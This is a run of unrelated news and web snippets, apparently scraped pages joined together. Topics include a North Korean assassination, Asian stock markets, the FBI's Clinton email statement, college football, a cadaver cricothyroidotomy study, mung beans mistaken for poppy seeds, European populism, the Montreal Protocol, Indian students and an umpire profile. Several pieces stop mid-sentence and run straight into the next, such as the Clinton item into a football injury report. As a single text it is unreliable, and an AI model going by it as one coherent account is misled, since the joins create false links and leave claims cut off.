In the absence of any evidence, it is easy to spin theories. If a standing order, timing is not really relevant: the issue was not “if” but “when.” On the other hand, the decision to pull the trigger could signal nervousness in Pyongyang. The last year has seen some unsettling defections, from a bevy of waitresses to diplomat Thae Yong-ho. Kim also recently purged Kim Won-hong, a critical figure in Kim Jong-un’s transition to power. If Kim Jong-nam were a possible candidate for regime figurehead—including as a component of a Chinese contingency plan—best to remove the possibility if challenges are afoot.
Or the hit could reflect something altogether more mundane, such as a struggle over money or connections to the Malaysian underground. The assassination is certainly going to open up closer scrutiny of how North Korea is using Southeast Asia as a lifeline to the world economy.
The most interesting questions center on how this event is viewed in China. The assassination of Jang Song-thaek was a serious affront given that he had shepherded China-DPRK relations. We do not have any evidence that Kim Jong-nam was an instrument of Chinese policy; he seemed to fit more closely the dissolute elite playboy model, showing up in expensive venues now and then. If the Chinese did feel that they were granting him protection, it would be an ironic turn given how they have been behaving toward their own nationals abroad.
The assassination was a warning to elite North Korean leadership to toe the line or end up like Kim Jong-nam. The debate since Kim Jong-un came into power and engaged in successive purge cycles is whether they signal that he has a full grasp on power or is lashing out in weakness. It's not clear that Kim Jong-un knows the answer himself.
Whatever his intentions, the last round of North Korea news is not doing the regime any good. The firing of a missile while Japanese Prime Minister Abe was visiting US President Donald Trump at his personal estate will push the US and Japan closer together. And the assassination just re-enforces the image of the regime provided by the Commission of Inquiry report: a cruel and ultimately capricious dictatorship that cannot be trusted on anything.
Edit (2-20-17): Video footage of the attack has surfaced:Image copyright EPA
China's Shanghai Composite share index dropped more than 6% on Thursday, its biggest fall for a month.
The index ended the day down 187.65 points, or 6.4%, at 2,741.25 as concerns persisted over the country's slowing economy.
Shares in China have fallen by about a half since June last year, but have enjoyed a modest rally in recent weeks.
Analysts suggested Thursday's sharp fall was partly down to investors taking profits.
Investors are also said to be cautious ahead of a G20 meeting Shanghai.
"Market confidence is still fragile and economic prospects remain gloomy, so investors could be taking profit earlier than in previous years," Wu Kan, head of equities trading at Shanshan Finance, told the Reuters news agency.
The sell-off in China also affected Hong Kong, with the Hang Seng index closing down 1.6% at 18,888.75.
Nikkei rises
In Japan, shares in Sharp tumbled following news that the struggling electronics giant had accepted a takeover offer from Taiwan's Foxconn.
Trading was suspended ahead of the announcement, and when it restarted the shares closed down 15% at 149 yen.
Overall, the Nikkei index rose 1.4% to close at 16,140.34, while the broader Topix index rose 1.79% to 1,307.54.
In Australia, the benchmark ASX 200 index ended the day 0.1% higher at 4,881.18.
Shares in Australia's biggest casino company, Crown Resorts, fell heavily after it reported a slump in half-year profits, dented by a sharp slowdown at its Chinese operations.
The firm's Sydney-listed shares tumbled more than 9% on the profit report, but recovered some of that loss to trade about 4.5% lower in afternoon trade.Hillary Clinton and President Obama get barbecue at Midwood Smokehouse after their rally in Charlotte yesterday. (Photo by Melina Mara/The Washington Post)
THE BIG IDEA: Want to know why two-thirds of Americans do not consider Hillary Clinton trustworthy? Rewatch pretty much any public comment she’s made about her email use over the past 16 months and then watch James Comey’s speech yesterday.
The FBI director shredded so many of the talking points that the former secretary of state and her top aides have used over and over again throughout this scandal, including that she never emailed classified material; that information in the emails was classified retroactively; that none of the emails were marked as containing classified information; that there were definitively no security breaches; that she turned over all work-related emails to the State Department; that the set-up was driven by convenience; and that the government was merely conducting “a security review.”
Rosalind Helderman, who has been covering this saga closely, writes that Comey “systematically dismantled” Clinton’s defenses. She juxtaposes Clinton quotes since last March against Comey quotes from yesterday. (Read her full piece here.)
-- While Clinton dodged a legal bullet that could have been catastrophic to her candidacy, yesterday was neither vindication nor exoneration, and it certainly will not put the matter to rest. Instead, Comey’s declaration that she was “extremely careless” in handling classified material and should have known better will dog her through November. Though the FBI director said “no reasonable prosecutor” would bring a criminal case against Clinton, his nearly 15-minute speech was tantamount to a political indictment.
FBI Director James Comey speaks at the bureau's headquarters yesterday. (AP Photo/Cliff Owen)
-- The Comey sound bite that may ultimately prove more damaging to Clinton than “extremely careless”: “To be clear, this is not to suggest that, in similar circumstances, a person who engaged in this activity would face no consequences,” he said after announcing that the FBI is not recommending criminal charges. “To the contrary, those individuals are often subject to security or administrative sanctions. But that is not what we are deciding now.” This lets Republicans make the case to the American people that they are the ones who should dole out the punishment.
-- Most Americans – including elites in both parties – believe both Bill and Hillary Clinton think a different set of rules and standards apply to them than everyone else. This dates to the 1990s.
-- Bigger picture: Yesterday was just the latest reminder that Clinton would probably be trailing in the polls if Republicans had nominated a stronger candidate. Donald Trump, rather than emphasize the damning revelations from Comey’s speech, instead chose to suggest that Clinton tried to “bribe” Attorney General Loretta Lynch and that the system is “rigged.”
-- This morning’s clips might be the worst Clinton has faced since launching her campaign. Here are 10 reflective examples:
Tomorrow's cover: The FBI just told us we'd be in bad hands with Hillary https://t.co/onAoWU9gSl pic.twitter.com/9zxLX8P1us — New York Post (@nypost) July 6, 2016
Time Magazine: “FBI says Clinton Claim on Reading Emails Was False.”
McClatchy: “Clinton’s handling of email went beyond carelessness, experts say.”
Wall Street Journal A1: “For Clinton, Political Fight Over Emails Is Far From Over; FBI report raises doubts about her candor, undermines her argument that she has the sober judgment she says Trump lacks.”
New York Times A1: “F.B.I. Critique of Hillary Clinton Is a Ready-Made Attack Ad.” (Sidebar on A13: “F.B.I. Findings Damage Many of Hillary Clinton’s Claims.”)
Associated Press: “Clinton's claims about her emails collapsed under the FBI investigation.”
Boston Globe A1: “Comey’s scathing assessment of her e-mail practices reinforced existing questions about her trustworthiness and a perception that she plays by her own set of rules. His rebuke will be used to raise doubts about Clinton’s claims that her competency and judgement make her the most qualified candidate to be president of the United States.”
Bloomberg: “Clinton Needs a Dr. No.” From Al Hunt: “The FBI was right to recommend that no criminal charges be filed.… But she still needs a cure for the reckless arrogance she displayed, an attitude that could produce more disasters if she reaches the White House. To protect herself as president, and to protect her presidency, Clinton needs a Dr. No. That's somebody more powerful than the smart loyalists she surrounds herself with, somebody with the stature to say: ‘Ma'am, you cannot do that.’”
The Daily Beast: “FBI Director … Crushed Hillary Clinton’s Email Excuses.”
The Intercept’s Glenn Greenwald: “Washington Has Been Obsessed With Punishing Secrecy Violations – Until Hillary Clinton.”
Some additional highlights from The Post’s team coverage—
“Even without charges, FBI rebuke leaves a heavy political cloud over Clinton.” (Philip Rucker, Abby Phillip and Anne Gearan)
Glenn Kessler revised an Aug. 2015 fact check to give Clinton a “Four Pinocchio” rating, instead of Two Pinocchios |
knee injury; WQAM reported he was in tears.
“They think everything’s good,” Golden said. “We’re going to get an MRI tomorrow to check it out.”
UM should hope so. Linebacker is one of UM’s weakest areas, depth-wise.
Asked who will step up in addition to senior Tyriq McCord – who battled Owens for the starting job throughout camp — Kirby named redshirt freshman Mike Smith. Freshman Jamie Gordinier was recruited to play the position. Neither he nor Smith have seen significant action yet.
But injuries didn’t hurt Miami nearly as bad as they did FAU, who lost its starting quarterback (Jaquez Johnson) in the first half, a storyline that didn’t matter much when backup Jason Driskel came out on fire. The Owls really suffered when running back Jay Warren, who gained 132 yards and a score on just 11 carries, was hammered by Carter and left the game at 5:41 of the second quarter.
To me, that was one of the major turning points. FAU gained 389 yards and scored 20 points in total – 138 and three came after Warren was hurt.
Backfield better than O-line: Joe Yearby (243 total yards, two touchdowns) and Mark Walton (62, three touchdowns) were excellent, with Trayone Gray again providing some late-game thunder (41 yards). Kaaya struggled a bit with his touch in the red zone, but had a strong performance (21-for-32, 287 yards, touchdown).
They would have done much better if not for another shaky performance by the offensive line. It allowed one sack – a hard hit by defensive tackle Trevon Coley – but four quarterback hits. UM rotated Trevor Darling and Kc McDermott at left tackle.
“I thought [Kaaya] settled down in the second half. We had a couple drops. We’ve got to do a better job protecting him,” Golden said.
Kaaya said the O-line “did pretty good. A few late hits, but that’s part of football. Overall, I thought they played well. Gotta keep getting better this week.”
Golden said he loved the one-two punch, and said Gray improved a lot from last week to this week.Abstract
Objective Apart from case reports and anecdotes, there are no published studies on the feasibility of using non-medical devices for emergency bystander cricothyroidotomy. This study evaluated the ability of non-trained junior doctors and medical students to place an emergency cricothyroidotomy on an embalmed cadaver using only a blade and a ballpoint pen.
Methods Participants were junior doctors with no prior experience of surgical airways and second year medical students at the end of their head and neck anatomy course. Nine participants were asked to place an emergency cricothyroidotomy in an undissected embalmed cadaver using only a No 26 scalpel and a dismantled ballpoint pen (Papermate Flexigrip Ultra, external diameter 8.9 mm; internal diameter 7.0 mm). Times were recorded and direct visualisation by dissection was used to assess placement and complications.
Results Nine participants performed a total of 14 separate cricothyroidtomies on separate cadavers. Landmarks were palpable by researchers in 10 of the 14 cadavers. Eight of 14 (57%) procedures were deemed successful. No major vascular injury occurred. Injuries to the thyroid and cricoid cartilages were common; four of 14 (29%) of these injuries were fractures.About
Lokett is the first totally customizable locket for today's digital age. The traditional locket necklace is a necklace that holds a physical picture and is given as gifts during holidays like Christmas and Valentine's Day, weddings, and was also used during the mourning period during the Victorian era to remember loved ones.
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The back of Lokett contains a luminescent resin layer that protects the NFC tag. It illuminates in the dark to a beautiful blue green glow when charged by light. The longer the back is exposed to light, the longer and more intense the glow.
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Stay tuned for stretch goals and rewards!It was just the sort of good news the British military in Helmand needed. Soldiers engaged in Operation Panther's Claw, the huge assault against insurgent strongholds last week, had discovered a record-breaking haul of more than 1.3 tonnes of poppy seeds, destined to become part of the opium crop that generates $400m (£243m) a year for the Taliban.
Ministry of Defence officials more used to dealing with negative stories about the British operation in southern Afghanistan swung into action to extract the maximum benefit from this unexpected PR coup.
A press release hailed the success of the offensive, and armoured vehicles were hastily laid on to allow the media, including the Guardian, to visit the site where the seizure was made, an abandoned market and petrol station that was still coming under sustained enemy fire when the reporters arrived.
Major Rupert Whitelegge, the commander of the company in charge of the area, tugged at one of the enormously heavy white sacks.
"They are definitely poppy seeds," he said emphatically.
Except they weren't. Analysis of a sample carried out by the UN's Food and Agriculture Organisation in Kabul for the Guardian has revealed that the soldiers had captured nothing more than a giant pile of mung beans, a staple pulse eaten in curries across Afghanistan.
Embarrassed British officials have now admitted that their triumph has turned sour and have promised to return the legal crop to its rightful owner.
Dr Samuel Kugbei, the chief FAO technical adviser in the Afghan capital, said: "We have been waiting all day to see these dangerous materials brought from Helmand and now we see that they are just mung beans!"
The pulses also fooled Colonel General Khodaidad, Afghanistan's minister of counter-narcotics, even though the spherical black beans, about the size of small ball bearings, looked nothing like poppy seeds. When shown the mung beans by the Guardian, he said they were a strain of "super poppy".
The beans were introduced into Afghanistan about 10 years ago and have been embraced by farmers as a way of growing a second crop during the year. They are also delicious with rice, Kugbei noted.
If indeed the sacks did contain 1.3 tonnes of mung beans, then they would have a street value of $1,300 – not much, but a major blow to any farmer if the British had followed procedures and destroyed the beans.Czechs this weekend elected a new prime minister who heaps scorn on the European Union and says his country shouldn't have to accept a single refugee. Germany just sent a radical far-right party to parliament for the first time since the days of Adolf Hitler. And Austrians last weekend gave the anti-immigrant Freedom Party their biggest share of the vote since 1999.
Those three elections in the past month are just the latest to upend the European political order by elevating anti-establishment populists. Nationalist parties now have a toehold everywhere from Italy to Finland, raising fears the continent is backpedaling toward the kinds of policies that led to catastrophe in the first half of the last century.
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The fissuring of Europe — a traditional American ally and the United States' largest trading partner — could complicate U.S. foreign policy, hurt American corporations and even create problems for national security as the bloc struggles to find consensus on issues ranging from refugees to free trade to internal borders.
Meanwhile, with each bomb-thrower elected to national governments or to the European Parliament in Brussels, the prospect of reaching agreement on solving the very problems driving populist rage grows dimmer. Developing a common policy for dealing with the influx of Middle Eastern and African asylum-seekers, for instance, will be more difficult now that Austria is more likely to side with Hungary and Poland and move to block them.
'When one country closes its borders, others do the same, and we all become losers,' European Commission Vice President Jyrki Katainen said on Tuesday at an event in Washington.
'In Europe, this phenomenon had disastrous economic consequences in the 1930s and contributed to social unrest that fueled nationalism and ultimately contributed to war,' he said.
The Global Politico Susan B. Glasser’s weekly podcast takes you backstage in a world disrupted. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
The European nationalist movement has some parallels to what happened in the United States last year with the election of Donald Trump. The new Czech prime minister, Andrej Babiš, is also a blunt-spoken billionaire. But while U.S. voters fear losing their jobs to immigrants or workers abroad, European voters are angry about the EU's inability to contain the financial and eurozone crises and the ineffectual response to the hundreds of thousands of refugees fleeing war zones.
'I see some evidence that poor economic performance in Europe is contributing to these anxieties and fueling some of the support, especially for left-leaning populists, but the story in central Europe is hysteria over migration and this distrust of elites,' said American Enterprise Institute fellow Dalibor Rohac, who researches economic and political trends in central Europe.
In Europe — where the foreign-born unemployment rate is about 15 percent — voters worry that immigrants will sap resources from their often-generous welfare states.
"In general, pure economic considerations are secondary to voters of populist radical right parties like AfD and FPÖ," said political scientist Cas Mudde, author of On Extremism and Democracy in Europe.
"That said, many see the economy through a racialized lens, thinking immigrants or ethnic minorities costs the society too much money, as they overestimate the importance of these groups in the social provisions," he said.
The 2015 migration crisis remains a potent political issue in part because it appeared European leaders were in over their heads. The spate of recent terror attacks on European soil also played into the hands of right-wing agitators eager to connect the influx of migrants with Europeans' growing security concerns.
"I think what [German voters] got angry and upset and worried about was the impression that government was really struggling to get this under control, didn't have a plan," said Constanze Stelzenmüller, the Robert Bosch senior fellow at the Brookings Institution.
In Austria, meanwhile, there has been "a rise in share of [the] foreign-born population over the last 10 years," Rohac said. "Austrians will tell you they sort of fear becoming a minority in their own country, which is sort of silly. But the pace of change has been dramatic… The hysteria over immigration is really unprecedented in this part of the world."
The new chancellor in Austria — conservative Sebastian Kurz — is expected to lead a right-leaning coalition with the Freedom Party, which will make talks about a bloc-wide asylum policy and financial reforms in the countries that use the euro more difficult.
Among European officials, the populist nationalist movement is often attributed to a "lack of leadership" — as both French Finance Minister Bruno Le Maire and European Investment Bank President Werner Hoyer put it during visits to Washington last week — and botched communication about the benefits of trade.
"There must be reasons for this disenchantment with the way politics is run all over Europe and in the western world in general, and it has certainly something to do with uneasiness about global developments, globalization developments, and the perception of a lack of leadership on this situation," Hoyer said. "I think it is basically a leadership issue."
Each anti-establishment tremor appears to come as a surprise to political and financial elites, many of whom believed the populist tide turned after the election of French President Emmanuel Macron in June — even though 40 percent of French voters cast their ballot for fringe candidates in the first round, and 34 percent voted for hard-right Marine Le Pen in the second.
The political shocks of the last year and a half don't appear to be prompting course corrections. The International Monetary Fund's Global Financial Stability report cautioned policymakers and banks to address the "legacy problems" lingering from the 2008 financial crisis — bad debt, for example. But it avoided perhaps the biggest legacy problem: a seething public.
Brussels, meanwhile, continues to talk of "ever-deeper integration," with Macron leading the calls for closer European ties now that the British have voted to leave the bloc. But Macron has proposed a common eurozone budget - the first step, critics allege, to a transfer program that would ask richer northern Europeans to subsidize poorer southern Europeans, which doesn't sit well with the new coalition forming in Germany.
"I don't think things can really go on as before," Rohac said. "These elections matter."
There won't be any quick fixes, he added.
"The nation-state is back, and yes, that makes the politics of the whole thing difficult, but it is what it is. That's what voters decided," he said. "It won't be a straightforward way forward, but there is no alternative."Thirty years ago this month the U.S. and other industrialized countries signed the Montreal Protocol on Substances that Deplete the Ozone Layer. It was a “milestone for all people and our planet,” said UN Secretary-General António Guterres, who highlighted the positive impacts of the Montreal Protocol on human health, poverty eradication, climate change, and protecting the food chain at an anniversary celebration.
The Earth’s ozone layer would have collapsed by 2050 with catastrophic consequences without the Montreal Protocol, studies have shown. In the world we avoided thanks to the Protocol the UV Index measure during a Washington, DC or Los Angles mid-summer day would be at least 30 by 2070. Anything over 11 is considered extreme. There would have been an additional 280 million cases of skin cancer, 1.5 million skin cancer deaths, and 45 million cataracts in the United States, according to the U.S. EPA.
Further, climate change would have been far worse by mid-century because the chemicals that “eat” ozone are also super-greenhouse gases, thousands of times more potent than CO2. And that would have meant the potential intensity of hurricanes and cyclones would have increased three times, another study found.
The combined impacts of UV levels that could literally burn skin in five minutes and hotter, stormier weather is something no one would want to live in or wish for their grandchildren, said Rolando Garcia, a senior scientist at the National Center for Atmospheric Research (NCAR) in Boulder, Colorado.
Our global climate would be at least 25 per cent hotter today without the Protocol, said Garcia, a co-author of two world-avoided studies. That additional heat energy would have provided “fuel“ for today’s extreme weather events like hurricanes, floods, and droughts. By 2070 the world would have been 4.5 degrees F (2.5 degrees Celsius) hotter, a level most experts agree is disastrously high.
“In 1987 I don’t think anyone knew about the full climate implications,” said Garcia. “The Protocol saved our bacon a little bit.”
Ozone Politics
The ozone layer acts like a shield reducing the amount of the sun's ultraviolet (UV) radiation to safer levels. By the late 1970s scientists proved chemicals used in fridges, air conditioners, and aerosol cans were damaging this ozone shield. But the chemical industry argued the science was uncertain, and more research was needed. Then, in 1985, a gigantic hole appeared in the ozone layer over Antarctica, allowing dangerous levels of UV radiation to reach the surface. By 1987 the Montreal Protocol was created to reduce the amounts of those chemicals.
Industry lobbied the Ronald Reagan White House and tried to get the Senate to deny ratification of the Protocol, warning of dire economic impacts resulting from a phase-down of their products.
“It was just as bad as the fossil fuel industry has been on climate change,” said David Doniger, Director, Climate and Clean Air Program at the Natural Resources Defense Council.
View Images People bathe in the sea in southern France—but without a protective ozone layer, such activities would be much more dangerous. Photograph by BERTRAND LANGLOIS, AFP, Getty Images
And yet the U.S. was one of the first countries to ratify the Protocol and have been a leader on the revisions that sped up the phase-outs of ozone-destroying chemicals, Doniger said. Industry soon developed new products and got on board with the phase-out of the old chemicals.
The Protocol now has 197 countries participating and resulted in the phase-out of 99 percent of nearly 100 ozone-depleting chemicals. It’s often considered the most successful international environmental treaty in history.
"Thirty years ago the world proved it can come together and tackle a global problem with global resolve,” said Erik Solheim, head of the United Nations Environment Programme (UNEP).
“The Montreal Protocol is as necessary today as it was in the 1980s,” Solheim said.
Unfinished Business
The ozone layer is expected to recover by 2050 but the Protocol has two major pieces of unfinished business. Some countries in the developing world haven’t yet phased out ozone-damaging chemicals like R-22, a hydrochlorofluorocarbon (HCFC) found in many refrigeration and air conditioning systems. They’ll require financial support to do so, which the Protocol provides under its Multilateral Fund.
The Multilateral Fund will need to be replenished for the next three years at the upcoming Montreal Protocol conference in November. The U.S. usually provides about 20 percent of the funding, but “the Trump Administration has been completely silent on this so far,” said Doniger.
This funding is crucial to help poor countries not only eliminate the last ozone-damaging chemicals but also to leapfrog cheap replacement chemicals called hydrofluorocarbons (HFCs). While HFCs are safe for ozone, they are a powerful greenhouse gas, a thousand times worse than CO2. In 2016, after nearly ten years of negotiations, more than 150 countries agreed to reduce their use by 85 percent in the coming decades.
The use of HFCs for air conditioning and refrigeration is growing at a fast pace in developing countries, particularly China and India, Doniger said. That’s in part because climate change is producing more and longer deadly heat waves and driving up summer temperatures.
This HFC phase down is known as the Kigali Amendment to the Protocol and would have a big impact on climate change, cutting global warming up to 0.9 degrees F (0.5 degrees Celsius) by the end of the century, according to the UNEP.
That’s a big deal because even limiting global warming to under 3.6 degrees F (2 degrees Celsius) will still cut Africa’s agricultural yields by 40 percent, putting 50 percent of the continent’s population at risk of undernourishment.UPI, Maguindanao – A police officer and seven Marines were injured in two explosions that rocked this upland town before dawn on Saturday.
PO2 Esmael Alabat of the Upi Municipal Police Station was seriously injured when a grenade fired from an M203 launcher landed on a roadside police outpost in Upi at about 12:15 a.m., according to Senior Supt. Agustin Tello, chief of the Maguindanao Provincial Police Officer.
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Alabat, one of the police officers of the First Maneuver Platoon of the Provincial Public Safety Company, had shrapnel wounds in the head and body and was taken to a private hospital here.
Some Marines, who had secured the police officers and bomb experts after the blast, were heading toward Barangay Mirab, also in Upi, when another roadside explosion occurred at about 1 a.m.
Seven Marines were hurt by the second explosion – Maj. Romulo Ducay, Cpl. Ryan Cabual, Cpl. Arnel Jiun, Cpl. Oliver Albo, Cpl. Alvin Sangadan, Pfc. Johnny Panday, and Pfc. Gerwin Perez.
All of them are from the 5th Marine Battalion Landing Team.
They were taken to the Army’s Camp Siongco Hospital in Datu Odin Sinsuat, Maguindanao for treatment.
No one has yet claimed responsibility for the attack and military officials are still trying to determine the perpetrators’ identities and their affiliation.
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MOST READNew York/New Delhi: Like many other Indians, Ranjit Lal had originally planned to go to the US to study further. But then he changed his mind. “I chose Canada over the US because with Donald Trump in the White House there are too many uncertainties about US immigration policies. I can’t bet a future on winning a H-1B visa lottery versus good opportunities in Canada,” said Ranjit Lal, who has applied to McGill University in Montreal.
“I want to do my Master’s in engineering in McGill. Canada is an immigrant-friendly country. That’s what is most important to me,” added Lal.
Another student, a 22-year-old from Mumbai, said she scrapped her plans to apply to law schools in the US because she was concerned about getting an H1B visa after graduating – which would have made getting a job as a lawyer especially tricky since she would not have been able to practice in India.
International students, and not just from India, are backing out from applying to the US and looking at other alternatives, because the increasing anti-immigrant rhetoric and policies of the Trump administration are dampening enthusiasm among students for studying in the US.
A new survey reveals that four in ten US colleges have experienced a sharp decline in international applicants for the Fall 2017 term. Trump’s travel ban and hardline immigration policies have put off students from the Middle East and Muslim majority countries — that’s not surprising. But, initial findings of the survey also point to a decline in applicants from India and China, which together provide nearly half of the US’s international students.
More than three-quarters of institutions surveyed expressed concern about future enrollment. “Nearly 40% of responding US institutions are reporting a drop in international student applications, particularly from students in the Middle East,” showed the findings from a survey of 250 schools by six higher-education groups, including the Institute of International Education (IIE).
Indeed, the most telling decline in applicants came from the Middle East, with universities reporting a 39% decrease in undergraduate applications and a 31% decrease in graduate applications from the region.
Indian numbers dipping
But Indian students, who have been heading to the US in ever increasing numbers in recent years, are now wary of going to American institutions. According to the survey, 26% of universities reported a decline in undergraduate applications from India, in addition to a 15% decline in India’s graduate applications.
Malavika Bhatia, an education consultant at Ed Sanctuary in Delhi, is expecting a greater drop in undergraduate applicants for next year. Bhatia told The Wire, “It’s early in the season to compute right now but I would say two out of every, say, ten students have changed their mind over the past year.”
She has also gotten used to dealing with parents panicking about the recent racist attacks against Indians. Bhatia said, “Nearly every parent has this question [about safety]. Which is natural I think, but I just assure them that it’s not as much [of a concern] on the coasts and in liberal spaces.”
Wim Wiewel, president of Portland State University in Oregon, said his school saw a 37% reduction in applications from India for the new school year.
“I’d say the rhetoric and actual executive orders are definitely having a chilling effect,” said Wiewel, who travelled to Hyderabad to meet with ten students already admitted to his school’s graduate engineering programme.
Wiewel’s trip to Hyderabad came soon after residents of the city held funeral services for computer engineer Srinivas Kuchibhotla, who was killed by Adam W. Purinton, who yelled “get out of my country,” before opening fire on two Indians at Austin’s Bar and Grill in a Kansas City suburb. A second Indian engineer Alok Madasani was also injured in the Kansas hate crime along with a white man who tried to stop the gunman.
“I tried to reassure Indian students that the university’s environment is still very safe and very welcoming to international students,” said Wiewel.
It’s 2017, and not a month goes by in the US without reports of hate violence targeting Muslims, Arabs, Sikhs, South Asians, African Americans, Jews and Latinos. There is no question that Trump’s victory has brought the bigots out of the woodwork. In all, the Southern Poverty Law Center has documented a record 900 hate crimes, a lot of them in universities since the November election of Trump.
Aware of this, education professionals in the US are coming up with ways to woo Indians back to the US. Soon after the Kansas shooting, Marie Whalen from Whitworth University and Syed K. Jamal, CEO of Branta, a US-based company that provides support to Indian students, authored an ‘Open Letter from the United States to India’ telling students “#youbelonghere”.
Jamal told The Wire, “There was at least one story [about Indians experiencing racist or xenophobic] violence coming out in the Indian media every day… But that’s not how ALL of the US is.”
Countering negative media attention is just one part of Jamal’s plan for the coming months. He is also planning on releasing videos and conducting more media outreach to let Indian students know that the US is still a welcoming and safe place to study.
Jamal added that admissions officials who come to India to deliver informational talks are also rethinking how they pitch their colleges as they brace themselves for a greater drop in applications for the next academic year.
There are other concerns too. The Wire spoke to a number of Indian students – most of whom wanted to remain anonymous – who have cancelled or withdrawn their plans to apply to US colleges, and even declined offers of admission for the coming year. Graduate school applicants are especially concerned about their diminished chances of getting a job in the US after finishing their courses since the Trump administration has cracked down on H1B visas and also introduced legislation that will make it difficult for international students to stay on for long after getting their degree.
The H-1B visa issue was a political hot potato during the elections. It’s no surprise then that the issue is under fierce scrutiny under the Trump presidency. It’s not easy in any case for an immigrant working on an H-1B visa in the United States.
One student in Delhi backed out of applying to engineering masters programmes at the last minute – disregarding months of preparation, including the completed letters of recommendation that he’d requested to supplement his applications. In the past year, too many of his friends – some of them who had been working at software giants like Google and so could be considered to be competitive candidates for work visas – had failed to get H1Bs, leaving them with uncertain futures.
Trump’s new proposal to increase the salary requirement for H1B visas to $130,000 per annum had him especially worried. He told The Wire, “It’s going to be very difficult for people who don’t have high-paying engineering or finance jobs to meet that requirement.”
His father, who encouraged his son’s decision to apply to schools in other countries – Germany, Australia, Canada and the Netherlands seem to have gained the applicants the US has lost – cited “the increasing racism” and increasingly competitive requirements for H1B visas as the two primary reasons for the change of plans.
Dipping figures are a reversal of about a decade of steady increases in applications from international students, which pushed the number of international students studying in the US to over one million last year, according to the ‘Open Doors Report’ published by the IIE. International students brought about $36 billion last year to the US economy and universities have become increasingly dependent on that revenue.
In the last year alone, Indian students contributed $5 billion to the US economy, while Chinese students contributed another $11 billion.
On an average, international students pay much higher fees than locals and help US colleges plug the budget gaps caused by reductions in state funding. Public schools often charge international students two to three times what domestic students pay, thereby subsidising the cost of tuition for US students.
Worry about safety, stereotypes
The National Association for College Admissions Counseling (NACAC), one of the institutions conducting the survey, cited Trump’s travel ban as a hard line anti-immigrant policy queering the pitch.
“For educational institutions in the United States, the negative effects of the ban will extend far beyond 90 days and well beyond the six countries involved,” said Nancy Beane, president of the NACAC.
While China and India are not directly influenced by the travel ban, foreign students are conscious that President Trump’s anti-immigrant policies are predicated on a hyper-territorial worldview in which immigrants are cast as job stealers. The political discourse surrounding foreign nationals under the Trump presidency has led to concerns about safety, stereotypes and cultural differences, among other issues. These concerns may deter international students from hopping on a plane and earning an American degree.
College counsellors in India are already feeling the impact of these concerns. A counsellor, who works for one of NCR’s elite schools but is not authorised to speak to the press, said parents’ concerns have driven up interest in countries like Canada, Germany and Australia.
In the meantime, liberal arts institutions in India are gaining in popularity. Bhatia said Ashoka University, with its liberal arts mandate, has become a popular option since it doesn’t come with as hefty a price-tag and promises to be safer than its US counterparts. But for those who have set their heart on studying abroad, the US is losing the charm it once had and there is no saying when the numbers will start increasing again.WARNING: IF YOU WANT TO SEE WHAT HAPPENS WHEN A SUPER FUNNY NINJA TAKES ON A MINOTAUR, DOWNLOAD THIS APP RIGHT NOW! Ninja Guy has finally come to Metro with updated HD graphics and special effects, more than twice the amount of enemies on screen and totally revamped gameplay to allow for super fun action using touch or the keyboard! From a peaceful training village to a hell-like demon world, you become Ninja Guy, in his hilarious and epic quest to prove himself to the Holy Cow Sensei and bring down an evil gargantuan Minotaur! First, you will need to break through his horde of jungle creatures, a hog kingdom and a demon realm filled with a legion of skeletons and mini-taurs! You are Cow Sensei's last hope, and final student.. Will you finally attain your Ninjaness? Ninja Guy will have you laughing along to his almost never-ending supply of dim-witted Ninja catchphrases, such as the classic "2 + 2 = NINZAAA!" and "Ninza Sense, Tingring!!" Oh, one more piece of advice before you download this app.. Guns Don’t kill people. Ninja Do!Have your say
IT’S become one of the most played songs around the world in 2014.
So when Kimberley Jane heard Let It Go from the Disney blockbuster Frozen being played out in the heart of Portsmouth, she couldn’t resist joining in.
Now, a video of the 21-year-old miming to the song has got more than 40,000 views on Facebook.
Kimberley was walking through Commercial Road and heard the song playing over loudspeakers. So she jumped up on to one of the stone podiums next to the fountain and began to mime the lyrics, while shoppers watched on in amazement.
She said: ‘I was just walking through town. The Christmas lights were being switched on. They had speakers on and then the Frozen song came on.
‘I saw people miming to it and I was singing as well.
‘I had nothing to lose so I just did it. My friend recorded it on his phone and put it online. I didn’t know he was recording it.
‘The music just got to me and I just let it go.
‘It might have looked a little bit stupid but it was completely impromptu.’
Kimberley, from Glasgow Road, Southsea, said she cannot believe how popular the video has been on Facebook.
‘I thought we would get about 10 likes. I think almost 40,000 people have viewed it so far. It was quite random but it’s just what I do.
‘I am in shock. People are saying I’m brave and I’m a hero. But I don’t consider myself to be any of those things.
‘I’m just a girl with a good sense of humour.
‘Guys in Afghanistan fighting for our country are heroes, not me.’
Kimberley admits to being a big fan of the film Frozen.
‘I love the film. It’s one of my favourites,’ she said.
‘I know all the words. I don’t know what it is that makes it so popular.
‘It’s more about courage and determination and that’s what I brought about in my performance.
‘There was a rapturous applause at the end.
‘Other people weren’t brave enough. They were just conforming to normal life.’
Perry Osborne, 21, from Meon Road in Milton caught the whole performance on his mobile phone.
He said he’s amazed at how much attention the video has received.
‘It’s crazy. I can’t believe it,’ he said.
Frozen has become the fifth highest-grossing film in box office history, making £1.2bn all over the world.Welcome to Better Know An Umpire, an effort to educate ourselves on the human elements who have ultimate decision-making power over some 2,500 Major League Baseball games a year. (All cumulative statistics are through the 2011 season, unless otherwise stated.)
Name: Paul Schrieber
Uniform number: 43
Age: 45
Height/weight: 5-foot-11, 190 pounds
First year as MLB umpire: 1997
Total MLB games worked through 2011: 1,692 (home plate: 423)
Previous experience: Northwest League, California League, Florida State League, Southern League, American Association
Career ejections: 27
No-hitters called: None
Over/under record (1999-2011): 188-160
Hated in: Detroit, New York, DC
Notable alleged blown calls: Royals-A's, June 2, 2012; Rockies-Dodgers, May 2, 2012.
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Claim to fame: Has the third-smallest strike zone among all MLB umpires. Schrieber also came under criticism in May 2009, when he placed his hands on Magglio Ordoñez, who stopped to debate a called third strike. Schrieber apologized the next day.
Scouting report from Major League Umpires' Performance, 2007-2010, by Andy Goldblatt:
Schrieber has the highest BB/9 of any umpire for the period under study. He also has the lowest K/BB ratio.... You would think an umpire with so tight a strike zone would have a stratospheric R/9, but that's not the case with Schrieber.... At two-thirds the rate, Schrieber's career ejection rate reinforces the image of the easygoing Oregonian...
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Scouting report from an angry Nats blogger:
